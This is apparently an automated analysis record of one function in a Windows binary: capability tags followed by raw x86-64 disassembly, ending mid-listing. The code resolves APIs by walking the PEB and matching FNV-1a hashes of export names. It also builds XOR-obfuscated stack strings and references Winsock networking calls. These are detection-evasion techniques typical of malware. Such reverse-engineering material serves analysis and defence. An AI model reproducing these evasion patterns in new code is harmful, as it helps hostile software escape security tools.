Function at 0x14005f1f0
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rsi, qword [0x1401dd7b8]
test rsi, rsi
jne 0x14005f2d0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14005f2b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14005f2b8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005f2b3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14005f290
cmp edx, 0x53b2070f
je 0x14005f37f
test r8d, r8d
jne 0x14005f270
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
jne 0x14005f240
xor esi, esi
mov qword [0x1401dd7b8], rsi
movzx edi, byte [rbp + 0x30]
xor eax, eax
mov dword [rbp - 0x45], eax
movabs r15, 0x8b9a6a15ba7af31c
mov word [rbp - 0x41], ax
movabs r14, 0x73aab3c84c15f14c
mov byte [rbp - 0x3f], al
movabs r13, 0xd138e698195ca5c4
mov dword [rbp - 0x50], 0xe82c3027
movabs r12, 0xa2cf3e412f70d954
mov dword [rbp - 0x4c], 0xbd018d6
mov word [rbp - 0x48], 0x1514
mov byte [rbp - 0x46], 0xe2
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov rax, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x14005fdf8
movzx r9d, byte [rbp + r11 - 0x50]
mov r10d, r9d
mov r8d, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14005fdef
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x14005f39b
lea rdx, [r11 + r15]
movzx ecx, r10b
and cl, dl
mov edi, 0x1e
sub dil, cl
add dil, dil
add dil, dl
add dil, r9b
jmp 0x14005f3d5
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov esi, dword [rcx + rdx*4]
add rsi, r9
jmp 0x14005f2c9
je 0x14005fd7e
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14005fcf4
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x14005fc9a
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x14005fc79
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x14005fc2d
cmp rax, r11
ja 0x14005fde6
lea rcx, [rax + 0x61]
cmp rbx, rcx
jae 0x14005f3ff
lea rdx, [r11 + r14]
movzx ecx, r10b
and cl, dl
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x14
jmp 0x14005f433
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x14005fc1e
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x14005fbff
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14005fbe4
lea rcx, [rax + 7]
cmp rbx, rcx
je 0x14005fbc4
lea rcx, [rax + rbx]
cmp rcx, r11
jbe 0x14005f980
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
je 0x14005f961
lea rcx, [rax + 0x10]
cmp rbx, rcx
je 0x14005f938
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x14005f917
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x14005fa2b
lea rcx, [rax + 0x20]
cmp rbx, rcx
je 0x14005f8fc
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14005f8dc
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x14005f8c1
lea rcx, [rax + 0x61]
cmp rbx, rcx
je 0x14005f8a1
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x14005f877
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x14005f440
lea rbx, [rax + 0xa]
lea rax, [rbx + 0x7a]
lea rcx, [rax + 1]
cmp rbx, rcx
jb 0x14005fdc9
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
jb 0x14005fda9
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x14005f635
lea rcx, [rax + 0x20]
cmp rbx, rcx
jb 0x14005f615
lea rcx, [rax + 3]
cmp rbx, rcx
jb 0x14005f5fa
lea rcx, [rax + 0x1000]
cmp rbx, rcx
jb 0x14005f821
lea rcx, [rax + 0x28]
cmp rbx, rcx
jb 0x14005f7d7
lea rcx, [rax + 4]
cmp rbx, rcx
jb 0x14005f799
lea rcx, [rax + 0x61]
cmp rbx, rcx
jb 0x14005f771
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x14005f440
lea rbx, [rax + 1]
lea rax, [rbx + 5]
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
ja 0x14005f747
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x14005f727
lea rcx, [rax + 2]
cmp rbx, rcx
ja 0x14005f70c
lea rcx, [rax + 0x400]
cmp rbx, rcx
ja 0x14005f6ec
lea rcx, [rax + 0x20]
cmp rbx, rcx
ja 0x14005f6ce
lea rcx, [rax + 3]
cmp rbx, rcx
ja 0x14005f6af
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x14005f689
lea rcx, [rax + 0x28]
cmp rbx, rcx
ja 0x14005f665
lea rcx, [rax + 0x40]
cmp rbx, rcx
ja 0x14005f653
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x14005f440
lea rbx, [rax + 0xa]
lea rax, [rbx + 0x7a]
jmp 0x14005f440
lea edx, [r11 + 0x34]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x6c
jmp 0x14005f433
lea r8d, [r11 - 4]
mov edx, recvfrom
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005f3d5
lea edx, [r11 - 0x3c]
mov r8, r10
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x5c
jmp 0x14005f350
lea r8d, [r11 + 0x60]
mov edx, 0x30
movzx r10d, r11b
jmp 0x14005fc3a
lea edx, [r11 + 0x28]
inc rax
movzx ecx, dl
dec r11
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x18
inc r11
jmp 0x14005f333
lea r8d, [r11 - 0x10]
mov edx, gethostname
movzx ecx, r8b
dec r11
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc r11
jmp 0x14005f333
lea edx, [r11 - 0x48]
movzx r10d, r11b
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 8
jmp 0x14005fcb9
lea edx, [r11 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x80
jmp 0x14005fcd8
lea r8d, [r11 + 0x48]
mov edx, 4
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fcdb
lea edx, [r11 + 0x10]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x70
jmp 0x14005fd10
lea r8d, [r11 - 0x28]
mov edx, ntohs
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x14005fd3b
lea edx, [r11 - 0x60]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
lea edi, [r9 + rdx]
sub dil, 0x60
inc r11
jmp 0x14005f333
lea r8d, [r11 + 0x14]
mov edx, 0x3a
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
mov byte [rbp + r11 - 0x50], dil
inc r11
jmp 0x14005f333
lea edx, [r11 - 0x24]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 4
cmp rax, 0x2a
jb 0x14005f78c
movzx r10d, r11b
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
add dl, r9b
lea edi, [rdx*2 - 0x30]
jmp 0x14005fc4c
lea edx, [r11 - 0x5c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7c
cmp rbx, 9
jae 0x14005fb7f
lea rcx, [rax + 0x61]
cmp rbx, rcx
jbe 0x14005fae0
lea r8d, [r11 - 8]
mov edx, 0x1c
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005f7af
lea r8d, [r11 + 0x6c]
mov edx, 6
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
lea rcx, [rax + rbx]
cmp rcx, 0x2a
je 0x14005fba4
lea rcx, [rax + 4]
cmp rbx, rcx
jbe 0x14005fa3d
lea r8d, [r11 - 0x54]
mov edx, 0x26
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005f7ed
lea edx, [r11 - 0x38]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
lea edi, [r9 + rdx]
sub dil, 0x78
inc r11
jmp 0x14005f333
lea r8d, [r11 - 0x70]
mov edx, 8
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fd3b
lea edx, [r11 + 0x58]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x68
jmp 0x14005fd10
lea r8d, [r11 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fcdb
lea edx, [r11 - 0x18]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x58
jmp 0x14005fcd8
lea edx, [r11 + 0x78]
dec r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x48
inc r11
jmp 0x14005f333
lea r8d, [r11 + 0x40]
mov edx, 0x20
movzx ecx, r8b
inc rax
and cl, r9b
dec r11
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc r11
jmp 0x14005f333
movzx r10d, r11b
lea edx, [r10 + 8]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x38
jmp 0x14005fc4c
lea rcx, [rax + 0x2a]
cmp rbx, rcx
jae 0x14005f99e
lea r8d, [r11 + 0x1c]
mov edx, 0x1e
movzx ecx, r8b
and cl, r9b
jmp 0x14005f831
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14005f9d1
lea edx, [r11 - 0x68]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
lea edi, [r9 + rdx]
sub dil, 0x28
inc r11
jmp 0x14005f333
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14005f9fa
lea r8d, [r11 - 0x30]
mov edx, 0x28
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fd3b
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14005fa1e
lea edx, [r11 + 8]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x38
jmp 0x14005fd10
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x14005f83c
movzx r10d, r11b
mov edx, 0x18
lea r8d, [r10 - 0x50]
jmp 0x14005fca7
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14005fa65
movzx r10d, r11b
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3c
jmp 0x14005fc4c
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14005fa8f
lea edx, [r11 + 0x54]
dec r11
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4c
inc r11
jmp 0x14005f333
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x14005fab8
lea r8d, [r11 - 4]
mov edx, recvfrom
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fcdb
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14005f7ed
lea edx, [r11 + 0x34]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x6c
jmp 0x14005fd10
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14005fb13
lea edx, [r11 + 0x30]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
lea edi, [r9 + rdx]
sub dil, 0x50
inc r11
jmp 0x14005f333
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14005fb3c
lea r8d, [r11 + 0x68]
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fd3b
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14005fb60
lea edx, [r11 - 0x60]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x60
jmp 0x14005fd10
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x14005f7af
movzx r10d, r11b
mov edx, 4
lea r8d, [r10 + 0x48]
jmp 0x14005fca7
movzx edx, byte [rbp + r11 - 0x50]
movzx r10d, r11b
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r9b
sub dl, cl
add dl, 0x30
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x14005fcb9
lea edx, [r11 - 0x68]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, byte [rbp + r11 - 0x50]
lea edi, [r9 + rdx]
sub dil, 0x28
jmp 0x14005fd10
lea r8d, [r11 - 0x2c]
mov edx, 0x1a
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14005fd10
lea edx, [r11 - 0x64]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x14005fcdb
movzx r10d, r11b
lea edx, [r10 + 0x2c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x34
jmp 0x14005fcb9
movzx r10d, r11b
mov edx, 0x32
lea r8d, [r10 - 0x7c]
jmp 0x14005fc3a
movzx r10d, r11b
mov edx, 0x3a
lea r8d, [r10 + 0x14]
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
add r10b, 0x44
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
add dl, dl
add dl, r9b
add dl, r10b
mov byte [rbp + r11 - 0x50], dl
inc rax
dec r11
inc r11
jmp 0x14005f333
lea edx, [r11 - 0x5c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7c
dec r11
inc r11
jmp 0x14005f333
movzx r10d, r11b
mov edx, 6
lea r8d, [r10 + 0x6c]
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, r9b
add r10b, 0x7c
and cl, r10b
add cl, cl
sub r9b, cl
sub r9b, 0x64
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 - 0x50], r9b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x14005f333
movzx r9d, r8b
lea rdx, [r11 + r13]
and r8b, dl
movzx edi, r9b
add r8b, r8b
sub dil, r8b
sub dil, 0x5c
add dil, dl
lea r8d, [r11 - 0x4c]
movzx ecx, r9b
and cl, r8b
inc rax
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r9b
add dl, r8b
movzx ecx, dl
mov byte [rbp + r11 - 0x50], cl
add rcx, rax
sub r11, rcx
lea r8d, [r11 - 0x30]
movzx ecx, r9b
and cl, r8b
inc rbx
mov edx, 0x28
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add dl, dl
add dl, r9b
add dl, r8b
mov byte [rbp + r11 - 0x50], dl
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x14005f333
lea rdx, [r11 + r12]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea edi, [rdx + r8]
sub dil, 0x4c
movzx ecx, byte [rbp + r11 - 0x50]
add rcx, rax
add r11, rcx
inc r11
jmp 0x14005f333
sub r11b, 0x74
mov edx, socket
movzx ecx, r9b
and cl, r11b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r11b
jmp 0x14005f330
add r11b, 0x54
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x4c
jmp 0x14005f320
lea rcx, [rbp + 0x15b5680]
jmp 0x14005fdfc
lea rcx, [rbp + 0x116499c]
jmp 0x14005fdfc
lea rcx, [rbp - 0x50]
call rsi
mov rsi, qword [0x1401dd7b0]
mov r14, rax
test rsi, rsi
jne 0x14005fec0
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rdi, qword [rdx + 0x10]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14005fea8
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14005fea8
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
mov ecx, 0x811c9dc5
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005fea3
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14005fe80
cmp ecx, 0xf8f45725
je 0x14005ff7d
test r8d, r8d
jne 0x14005fe60
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x14005fe30
xor esi, esi
mov qword [0x1401dd7b0], rsi
movzx edi, byte [rbp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov dword [rbp - 0x30], 0x5477597e
movabs r15, 0x1bd37f5890d917e6
mov dword [rbp - 0x2c], 0x557f5745
movabs r12, 0xfa6f7a1d17a1d716
mov dword [rbp - 0x28], 0x4f5d405a
movabs r13, 0x537a7e09b28b47b2
mov dword [rbp - 0x24], 0x484b4a65
mov dword [rbp - 0x20], 0x43406459
mov word [rbp - 0x1c], 0x4545
mov byte [rbp - 0x1a], 0xb6
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x27
jae 0x140060ada
movzx r10d, byte [rbp + r11 - 0x30]
mov edx, r10d
mov r9d, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140060ad1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14005ff9c
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
movzx edi, r10b
add al, al
sub dil, al
sub dil, 0x4a
add dil, cl
jmp 0x14005ffc0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov esi, dword [rcx + r8*4]
add rsi, r9
jmp 0x14005feb9
je 0x140060a5d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140060a2a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140060a09
nop dword [rax]
cmp r8, r11
ja 0x140060ac8
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14005ffeb
lea edi, [r11 - 0x22]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x12
add dil, r10b
jmp 0x140060020
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400609be
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140060999
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140060977
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400608f5
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006056e
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006055c
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140060538
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140060513
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400604f6
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400604d8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400604b9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006049a
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006047b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140060451
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140060030
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140060aa8
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140060a8b
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006021c
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400601fc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400601e0
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140060400
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400603c2
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006037e
lea rcx, [r8 + 0x41]
cmp rbx, rcx
jb 0x14006035b
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140060030
lea r8, [rcx + 0x1000]
mov rbx, rcx
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14006032d
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14006030e
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400602ef
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400602d0
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x1400602b2
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140060295
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x140060274
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14006024c
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14006023a
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140060030
lea rbx, [r8 + 3]
lea r8, [rbx + 0x2a]
jmp 0x140060030
lea edi, [r11 - 0x1e]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x2e
add dil, r10b
jmp 0x140060020
lea ecx, [r11 + 0x16]
mov edi, 0x33
movzx eax, cl
and al, r10b
sub dil, al
add dil, dil
add dil, cl
add dil, r10b
jmp 0x14005ffc0
lea ecx, [r11 + 0x4a]
mov r9, rdx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x14005ff50
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx r9d, r11b
jmp 0x1400609cb
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea ecx, [r11 + 0x58]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
inc r11
jmp 0x14005ff33
mov ecx, socket
lea edx, [r11 - 0x74]
movzx eax, dl
movzx r9d, r11b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400608a9
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x140060a44
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140060a44
lea ecx, [r11 + 0x28]
movzx r9d, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14006090f
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006093a
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
mov byte [rbp + r11 - 0x30], dil
inc r11
jmp 0x14005ff33
lea edx, [r11 + 0x46]
mov ecx, ntohs
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x140060371
mov edx, 2
movzx r9d, r11b
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400609dc
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
cmp rbx, 9
jae 0x14006088c
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140060793
lea edx, [r11 - 0x54]
mov ecx, 0x26
movzx eax, dl
and al, r10b
jmp 0x14006038d
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 3
je 0x1400608d8
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14006069f
lea edx, [r11 - 0x32]
mov ecx, 0x2f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400603d8
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x6c
inc r11
jmp 0x14005ff33
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006093a
movzx r9d, r11b
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14006090f
lea edx, [r11 - 0x30]
mov ecx, 0x28
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140060a44
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
add rbx, r8
jmp 0x140060a44
mov ecx, 0x3c
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400608a9
lea edx, [r11 + 0x6c]
mov ecx, 6
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14005ff33
lea ecx, [r11 - 0x60]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r11
jmp 0x14005ff33
movzx r9d, r11b
mov ecx, 0x1a
lea edx, [r9 - 0x2c]
jmp 0x1400609cb
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140060595
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
